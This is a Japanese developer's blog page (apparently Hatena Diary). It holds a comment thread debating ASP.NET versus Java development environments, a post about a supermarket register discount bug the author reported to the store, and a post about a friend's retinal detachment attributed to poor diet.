もちろん、MySQL規模のアプリなら誰かが保守するというのはわかるんですが、もっと小さなJava用のなんちゃらフレームワークとかだと、プロジェクトそのものがたち消えてしまって保守どころではないと思うのですが。

あとMySQLの保守はされていくとは思いますが、古いWebアプリの開発プロジェクトを保守しようと思ったときに、MySQL4.0用に書かれていたりして、もうMySQL4.0なんてホスティングしてくれるところが無かったり、あるいはサーバー屋の都合で勝手にサーバー側のPHPのバージョンを4から5に強制的に変更されて、PHPのコードの修正を余儀なくされたり(これは最近何度か経験しました)するのが嫌なんです。

これでは古いバージョンは実質的には使えないも同然で、Visual Studioのプロジェクトの自動変換ウィザード(Visual Studio2003用のプロジェクト→Visual Studio 2008用のプロジェクト)のようなものが欲しいなぁ、と。

それからすればASP.NETはまだソースの修正が必要になったことはないので(今後はわかりませんが)、ずいぶんマシだと思います。また、ASP.NETやIISのバージョンが上がれば、ビルドしなおしてdeployする必要は出てくるのかも知れません。あと、ASP→ASP.NETほどのパラダイムチェンジが次にあると、そこでソースの書き直しは必要となる気はします。

yaneuraoyaneurao 2008/12/07 16:41 > インスタンス・ブレークポイント

Eclipseにもあるんですか。へ〜。へ〜。へ〜。それは知りませんでした。

うさぴょんの育ての親うさぴょんの育ての親 2008/12/07 17:58 ↑2 『サーバー屋の都合』という話だと、そもそもWindows系のOSでホスティングしてくれるところがないとか言う問題はないんでしょうか(w

ちなみに、PHPはやねさんと同じ理由で私もあまり好きじゃなかったり。ただし、5になって、これでやっと言語として安定するかなぁとかも思ってますが。

yaneuraoyaneurao 2008/12/07 18:16 > そもそもWindows系のOSでホスティングしてくれるところがないとか言う問題はないんでしょうか(w

少ないですが、無いというほどでもなく、最近では価格もそれほど高いわけでもない思いますよ。

ASP.NET ホスティングサービス情報
http://www.microsoft.com/japan/msdn/nextweb/hosting/default.aspx

qnighyqnighy 2008/12/07 20:16 業務での開発については知らないですが、インストールの利点の
>>Java系のIDEは固めておいて、展開すればOK
というのは、勝手な解釈ですが
「オープンソースで開発されていてコピーが制限されないので、必要なものをまとめたパッケージを自分で作って、コピーするだけでよく、同じ環境をすぐ構築できる」
という意味かと思います。
また、Pleiades All in Oneのように、パッケージ化した成果が公開されてるものを使えば、用途に合致していればさらに手軽に開発を始められるのでは。

うさぴょんの育ての親うさぴょんの育ての親 2008/12/07 21:02 ↑1 ものによりますが、レジストリを使わないからコピーするだけでいいというのもポイントかも知れないですね。
確かにライセンスとか気にせずにコピーすれば動くのは楽でいいんですが。>Java系
JREやJDKのバージョンも気にする必要はないし。
(もちろん、コンパイル後のターゲットの設定は正しくする必要がありますし、JREがあまりに古いサーバのメンテナンスをすると少し欝になりますが(w )

…ただ、Javaでは、やりたいことに対して、もう少し冗長じゃない書き方がしたいなぁとはいつも思う。

C#も嫌いなわけじゃないけれど、Windowsの管理がリモートから行うには色々面倒だなーと言うのが私があまりWindowsのサーバを使いたくない最大の理由かなぁ。

↑2 価格は昔と比べると大分マシになってるのは実感しました。
それでも、専用サーバプランがやはり多いですね(--;

qnighyqnighy 2008/12/07 21:30 >>うさぴょんの育ての親
人のダイアリーで話すのもなんですが。

Javaは、確かにあまりにも冗長なので、書いててストレスが溜まることもしばしばありますね。
ただ、やっぱりそれがJavaなんだと思います。

短く綺麗に書きたいなら、やはりスクリプト言語のほうが便利だし、Javaのライブラリを使ってスクリプト言語でプログラミングできるものもあるから、やっぱりJavaっていうのは厳密でシンプルなことを大事にしていくという路線でいいんじゃないかなと思います。

#でもオブジェクトの変数を作って代入するときに型名を2回書かなきゃいけないとかGetter/Setterとか、さすがに冗長すぎだよと思う面もありますね。

あと、C#は、やっぱり言語自体は全く遜色ないと思うのですが、昔のWindows資産を大事にしすぎて嫌われた感が否めないですよね。

あれは大企業病だから仕方がないってとっちゃんが言ってた。

umiumi 2008/12/07 22:29 VS2008は分りませんが、VS2005はGUIエディタを長時間使ってると遅くなるので時々起動しなおしてたりしました。
しかも実行プログラムが画面のボタンとか描画するのが見える位遅かった記憶があります。
コードの補完機能もEclipseの方が上でした。

yaneuraoyaneurao 2008/12/07 23:27 ↑Visual StudioではCtrl+JでいつでもIntelliSenseを呼び出せますが、どういった点でEclipseのほうが上なんでしょうか?

yaneuraoyaneurao 2008/12/07 23:37 ↑*4
> Windowsの管理がリモートから行うには色々面倒だなー

リモートデスクトップでは何かまずいんでしょうか?

あと、shell機能としては、Windows PowerShellはなかなか面白いのですが、bashなどに慣れ親しんだ人にとっては、いまさら全く新しいshellを作られても…というのはあるのでしょうね。

umiumi 2008/12/08 01:05 正確には、VC++2005の話でしたので今インストールして確認してみました・・・
で、XXX::とか入力するとコード補完がすぐに出ますね・・・

3年程前に使用していたPCはPentium4のHT無しの1GBメモリで、
数十画面で各画面に80個位部品のあるプログラムだったので、
コードの補完機能が動作するまで時間がかかっていたと言うこと
だったのかもしれません。
当時は、Eclipseの方が上だなと思ったのは事実ですが、
EclipseではGUIの無いプログラミングでしたのでその点でも条件
が異なってますね。

tissitissi 2008/12/08 08:41 WebApp屋です。
こんなに真剣に回答していただけるとは。
お手を煩わせて申し訳ありません。
前回、業務中に意外な話だなーと思い反射的にコメントしてしまいました。(なのでログインしていませんでした。すみません)

■ ライセンス料の問題
ツールのコストは安くても無視はできません。
より安い代替案があるならそちらが採用されるのは自然だと思います。
ただ、ServerOSは保守料金を考えるとRedHatよりWindowsServerの方が安い気がします。僕はCentOS使うことが多いです。


■ インストールの手間
あげられたそれらは、全部tar展開で動きますよ。
Eclipse/JREもコピペで問題ありません(もちろんライセンスも)。
Hibernateは僕は使ってませんけど、単なるライブラリなのでプロジェクトをチェックアウトすれば中に含まれているのでは。
O/Rマッピングはやたらキャッチーな宣伝でものすごくはやっている風ですが、実際にはそれほど使われてないと思います。特に大規模サイトやOracle-TimesTenが登場するようなミッションクリティカルな世界ではSQLの方がプログラムより大事なので自動生成なんて考えられないです(いいすぎですかね?)

■ IDEとしてどちらが優れているか
これは本当に趣味だと思うのですが、Eclipseはオープンソースでいじりまくれるのがかなりいいですよ。ほか、私は業務で古いMFCアプリの保守もやっていて、いまだに古いVSをアンインストールできず。誰かがかってに新しいVSでコンパイルしたバイナリを配布し、お客さんとこVCランタイムがなくて動かない、などという間抜けなトラブルもしばしば。OS2とかもう死ねばいいのに!


■ まとめ
最近のJava-Webアプリは開発用には組み込みサーバーを使って、Apacheとかインストールしないことも多いですよ。

やっぱり業界が違うなーって空気ですよね。
考察ありがとうございました。

tissitissi 2008/12/08 09:06 あ、DBも開発では組み込み用をスタンドアロンで立ち上げてTCP/IP接続で使うことが増えてきました。JavaDBはいまいちですが、H2 DataBaseは感動するほどよく出てきていて簡単です。

一斉を風靡したRuby on RailsもWebサーバ/DB込みですね。。。
僕には敵ですが。

tissitissi 2008/12/08 09:39 すいません、今気がつきました。

>少なくとも上記のソフトの最新版を拾ってきてインストールする必要はあるんじゃないかと思うのだけど。むしろ、インストールはVisual Studioのほうが楽。

Java系だとインストールの手間が省けるといっているのは、一回がんばってセットアップしたものを、コピーして使えるという事象について述べています。
たとえば、IDEならプロジェクト毎に俺ディストリビューションみたいなのを固めて配布しております。
開発者は展開するだけでセットアップ完了です。

ただ、VisualStudioの方がセットアップが楽だという意見は少数派ではないかな、とは思います。少なくとも僕の周囲での評判は良くないですね。放置しておくだけとはいえ、インストーラが時間を食いすぎる問題なのだと思いますが・・・。

smsm 2008/12/08 11:07 >一回がんばってセットアップしたものを、コピーして使えるという事象について述べています
なんだかんだで環境変数に依存してて、まともに動かないなんて話をよく聞きますが

yaneuraoyaneurao 2008/12/08 11:31 > ツールのコストは安くても無視はできません。

中規模よりちょっと小さめぐらいのサイトでも開発のためにかかる人件費が1000万ぐらいになりますから、1割の効率改善が見込めるならそれだけでも100万。経営者的には、50万払って1割の効率改善が見込めるなら安いもんです。

ただし、これは経営者がプログラミング技術に理解がある場合のみ通用する話で、現場の人間が「ASP.NETなら20%の効率改善が見込めるからWindowsServerもろもろを導入してくれ」と言っても稟議が通らないということはあるでしょう。

> O/Rマッピングはやたらキャッチーな宣伝でものすごくはやっている風ですが、実際にはそれほど使われてないと思います。

いや、ASP.NET3.5での開発では必ずと言っていいほど使いますし、それによって全く生産性が変わってきます。LINQのクエリオプティマイザ自体はかなり利口なので、(常識的には)JavaのO/RフレームワークやRuby on Railsとは比較にはならないです。(でもLINQ自体が…。まあこれについては、いずれ記事を別に書きます。)

LINQ to SQLは必要ならばいつでも出力されるSQL文を確認することが出来ます。たいていの場合は期待を裏切らないSQL文が生成されているはずです。

ただ、大規模サイトではO/R自体あまり使われないというのは同意です。

あと、それとは別に、C#以外の言語でO/Rが流行らないのは、C#3.0の「拡張メソッドとラムダ式と式木と匿名型とvar」に相当するものが一式ないとO/Rが効果を十分に発揮しないからではないかと思います。これはLINQを使っていれば自然と実感できます。

そういった事情は別としても、話がかみ合わないのは、私が中規模サイトか(アクセス数は少ないが)ある程度入り組んだサイトの開発を対象に話をしていて、tissiさんが大規模なサイト(おそらくアクセス数において)を対象とされているからではないかと思います。

tissitissi 2008/12/08 12:05 >なんだかんだで環境変数に依存してて、まともに動かないなんて話をよく聞きますが

一応突っ込んでおくと、差異を吸収するための環境変数なのでわー!

■ツールのコスト
それはVisualStudioがEclipseより生産性が高いという前提ですね。旧来のWindows系プログラマならそうでしょう。ただ、昨今の一般的なWebエンジニアはイベントドリブンの開発に弱いというほもポイントです。彼らはこの世界にWEBアプリ(紙芝居アプリ)で入っているので、VBが達成しているすばらしいコンポーネント志向をうまく扱えないでいるように思えます。

■ O/Rマッピング
LINQは最高だと思います。昨今のO/Rマッピングの概念を吹っ飛ばすすばらしいアプローチだと感じています。ただ、お話を伺っていると少し僕の理解が間違っているかもしれません。
LINQはO/Rマッピングの対極、オブジェクト指向アプローチに対するアンチテーゼで生まれたのだと思っております。平面的なRDBを立体的なObjectでアクセスしよう、というのがO/Rマッピングで、LINQのそれは立体的なObjectに平面的なアクセス(集合演算の概念)をもたらしている、という理解です。
特に言語体系として実現しているのがすばらしい。

規模もありますが(ホスティングサーバはデータセンターに自前、ってのが既定路線ですね・・・。まだクラウドは来てないです)、システムの独立性が大きいと思います。
O/RマッピングはストレージがRDBじゃなくてもかまわないもので適用するとフィットしますね。
RDBを他のシステムとシェアしているもの(企業向けだと多いです)もありますし、
まだまだ解析用テーブル作って、Acces->Excelのコンボでレポート作成、みたいな運用もあります。
#業務系でいうシステム化というのは、何でもソフトウェア解決するものではないってのが議論の土台がずれてる原因なのでしょうか。

誤解があるようですが、僕はJavaよりC#の方がイケてると考えています。問題はVisualStudio+IISのポータビリティの悪さで、その点でEclipse+Javaに軍配を上げています。
VS or SharpDevelopがもっとSCM(構成管理の方)とシームレスに連携できて、mod_mono/mod_dotnetがきちんと動けば.NET環境を推進したいです。

.NET系はWindows系とMono系で文化が分かれてしまったのも痛々しいですね。たとえば、NAnt/NUnitがいい感じに発展してきたのに、MS-Buildとか独自に新しいの組み込んじゃうMicrosoftが若干気に食わないです。Eclipseだと普通にはやってるやつ集めてるのがいいなーと思います。
重ねていいますが、これは趣味の世界だとは思います。

うさぴょんの育ての親うさぴょんの育ての親 2008/12/10 22:20 …ネットにつなげない間にすごい出遅れたという感じが。

リモートデスクトップでまずいのは、主に我が家の回線事情の問題でございます(苦笑)。<遅いんで。
もう一つは、管理とか何かちょっとした設定の変更なら、GUIを使うよりもコマンドたたく方が個人的には早いから、ですね。
もう一つ以前困ったのは、リモートデスクトップで繋げてる最中に何かトラブルが起きて切断されると、接続中のクライアントの数が減らないままになって、その内リモートから接続できなくなってしまうという現象が…。
 <3〜4年位前の話なんで、今は解決されてそうなバグですが。

yaneuraoyaneurao 2008/12/11 16:56 リモートデスクトップは無線LANでも、56Kbpsでもそれなりの速度で動きますけどね…。

> 接続中のクライアントの数が減らないままになって、その内リモートから接続できなくなってしまうという現象が…。

それは、初期のterminal.dllにあったbugなのでは…。WindowsXP SP2βのときに一度その現象に遭いましたが、SP2の正式リリース後はそういった経験はしてないです。

うさぴょんの育ての親うさぴょんの育ての親 2008/12/12 04:39 無線LANでは問題ない感じですが、56Kbpsだとさすがに…(--;
#ちなみに現在の我が家は1.1Mbps位かと思います。

で、設定をちょっと書き換える時なんかには、何かのテキストエディタをリモートで開いたりするわけですが、このあたり、やはりSSHで接続して、bashが上がってきて、viでちょこちょこ編集して、apachectl restartとかservice httpd restartとかたたける環境に軍配が上がる気がします。
#コマンドラインから何でも出来る環境に慣れすぎてるのかも知れません。
#…DOS窓から、net start xxxxx とか叩けばいいのか??

初期のterminal.dllのバグですか…。
使ってたバージョンには自信ないです。こちらの環境はXP SP2だった気がするんですが、サーバー側はなんだったか失念しました。

yaneuraoyaneurao 2008/12/12 04:42 > 無線LANでは問題ない感じですが、56Kbpsだとさすがに…(--;

56kbpsのときは、画面解像度を落として、かつ、bppを下げてくだされ…。それなりに動きます。

tobytoby 2009/03/22 01:20 すんません。ちょっと前の記事ですが、面白そうな話題だったので…。

> 少なくとも上記のソフトの最新版を拾ってきてインストールする必要はあるんじゃないかと思うのだけど。むしろ、インストー
ルはVisual Studioのほうが楽。

LAMP(というかWindowsなのでXAMPですが)の方はPortable化前提で開発しているとやりやすいです。
PHP(or Rails) + Apache + MySQL + Eclipseあたり、でちょっと弄ればPortable化できますので、zipで固めておくとか、USBメモリに入れておくとかいつでも開発再開できる環境が作れます。
持ち運びも楽ちん。
Windowsいやんな場合は、Linuxで仮想環境のイメージ作っておくのが手っ取り早いかと(この場合は、仮想ソフト+Eclipseでもコピってくる手間となりますね)

実際問題は、cygwinくらいはいるじゃろーとか、Tortoiseなんたらは常識的に考えて(ry、とかはまあ、Visual Studioでも一緒なので…。

えっと、Javaの話してるんだけど?と言われたら返す言葉はございません。すいませんwww

2008-03-07 万代hacks

yaneurao2008-03-07

[] 万代hacks  万代hacks - やねうらお−ノーゲーム・ノーライフ を含むブックマーク  万代hacks - やねうらお−ノーゲーム・ノーライフ のブックマークコメント


関西周辺に事業を展開しているスーパーに万代まんだいというのがある。私の家の近くに万代が3箇所もあるので何かと便利に利用させてもらっている。


この万代で、いま仮に380円の串揚げが、2つだと680円だとする。

このときレジでは2つセットになった瞬間に「 -80円 」という処理がなされる。

レジとしてそういう処理をするのは、ごく普通である。


ところが、380円の串揚げが200円に値引きされていて、これを2つ買った場合も「 -80円 」という処理がなされる。結果として、串揚げは200円からさらに40円値引きされて1つ当たり160円になる。380円→160円というのは、驚異の57.9%引きである。だぶん、これは店の人の意図しない動作のような気はする。(レジを設計した人はもちろん想定してるんだろうけども。)


このシステムの脆弱性報告はどこにすればいいのだろうか。


■ 追記(2008/3/7)


気になったのでWebから問い合わせてみた。翌日、お客様相談室から返答が来た!


平素は弊社 八尾店をお引き立て賜りまして誠にありがとうございます。

厚くお礼を申し上げます。

串揚げの価格の件につきましては、ご不審な思いをおかけ致しまして

誠に申し訳ございません。

また、店舗の間違いでございますのに、ご返金のご心配までおかけ致し

まして誠に申し訳ございません。

スーパーマーケットである弊社に取りまして、正確な価格表示は、最も

重要な課題として、かねてより社員教育に取り組んでおりましたが、

今回ご指摘のように十分徹底できておりませんでしたことを深く反省

致しております。

今後は同様のご迷惑をおかけ致しませんように店長より担当者に教育と

指導をさせて頂きますので、何卒引き続きご愛顧賜りますようお願い

申し上げます。


お客様相談室のフリーダイヤルを案内させて頂きますので、お気づきの

点はお教え下さいますようお願い申し上げます。


(以下、八尾店の店長の名前と電話番号、相談窓口の担当とその電話番号が

記載されていた。)


と言うことは、今日から八尾店では「値引き後 200円」のシールの下に、サインペンで「ただし二つセットでお買い上げの場合、さらに1つ当たり40円引き」とか手書きで書かれているのかも知れない。だとしたら、なんとも気の毒なことになった。(´Д`)

yaneuraoyaneurao 2008/03/06 02:14 気になったので、万代のWebからこの件について問い合わせてみました。返信が来たら報告します。

toto 2008/03/06 09:47 テスト結果が返ってきて、採点ミスで点が低ければ抗議をしに行くけど、高かったなら黙っている私。

yaneuraoyaneurao 2008/03/06 09:48 地雷はすべて踏まないと気が済まない私。

   2008/03/06 22:40 なんで関係ないワケワカランもんのデバッグしとんねん
やねうらおって人はホントにすごいなぁ・・・

通る人通る人 2008/03/08 20:23 一商品何10円とかって単位のもうけで勝負してるスーパーからするとおおきなバグですね。

guldeenguldeen 2008/03/11 19:49 よぉそんな所に気がつきましたね。
というか、ちゃんと「デバッグ」してるあたりが、さすがはやね師。

2007-09-22 網膜剥離

[] 網膜剥離  網膜剥離 - やねうらお−ノーゲーム・ノーライフ を含むブックマーク  網膜剥離 - やねうらお−ノーゲーム・ノーライフ のブックマークコメント

スーパーサイズ・ミー

友達が網膜剥離になった。仕事が忙しくて毎日、出前ばかり食べていたそうなのだが、その出前屋さんのなかで一番おいしいのがチキン南蛮らしく、おおよそ一ヶ月の間、チキン南蛮ばかりを食べていたらしい。病院に行ったら、栄養失調が原因と医者に言われたそうだ。


「この飽食の時代に、栄養失調て…」と本人も驚いていた。


急遽、目の手術をしたそうなのだが、2.0だった視力は0.1以下に。すりガラスごしに見ているような状態で眼鏡をかけても視力は変わらないのだそうだ。彼は夜は怖くて外を歩けなくなったと語っていた。


「鳥のたたりで鳥目になったんじゃね?」とか冗談を言っていたら、その直後、彼と生活をともにして同じくチキン南蛮ばかりを食べていた彼女さんも網膜剥離になった。おそらく同じ原因だろう。


マクドナルドを一ヶ月食べ続けるドキュメンタリー映画「スーパーサイズ・ミー」を彷彿とさせる。栄養バランスの偏った食事をするとすぐに大事に至るということだ。


ところで、ヒト属ヒト科のチキン南蛮に対する脆弱性報告はどこにすれば良いのだろう?

TZTZ 2007/09/22 08:08 両眼とも網膜剥離になって手術してもらったことがあるけど、視力は変化しなかったですよ。医者からも、視力は変化しないって言われたし。
視力が下がったのは、他に原因があるのでは?

yaneuraoyaneurao 2007/09/22 08:30 視力が低下するかどうかは、網膜のはがれ具合によるようです。私の友人はレーザーで手術したとかゆっちょりました。

   2007/09/22 08:37 プログラマは目が命、ですか
目が見えなくなるとか指をヤのつく人に持ってかれるとか考えると怖くてプログラムなんか書けません!(仕事さぼる言訳

それでそれで 2007/09/22 18:18 ↑アメリカに逃げたいのですね。

MMXMMX 2007/09/23 22:48 栄養バランスより、前に、同じ物も食べる嗜好(脳内バランス)がおかしい。

fkmfkm 2007/09/24 15:07 ヒト属ヒト科のチキン南蛮に対する脆弱性報告、管理栄養士さんとかが窓口かもしれませんね

でも脆弱性報告があったとしても、LiveUpdateをしない人に対しては無意味ですが(^^;

HeavyTHeavyT 2007/09/24 16:15 チラ裏
super size me →日本語訳→ 得盛!

HeavyTHeavyT 2007/09/24 16:16 得盛!→特盛!

通りすがり通りすがり 2007/09/25 02:28 半年前に剥離しましたが、今0.03です。ほとんど見えません。
網膜を直接治す手術でした。
片目だけだったのが救いです。
激痛なので、健康には気を付けて。

 

1900 | 01 |
2004 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2005 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2006 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2007 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2008 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2009 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2010 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2011 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2012 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2013 | 01 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 |
2014 | 01 | 02 | 03 | 04 | 06 | 08 | 10 | 11 | 12 |
2015 | 01 | 02 |


Microsoft MVP
Microsoft MVP Visual C# 2006.07-2011.06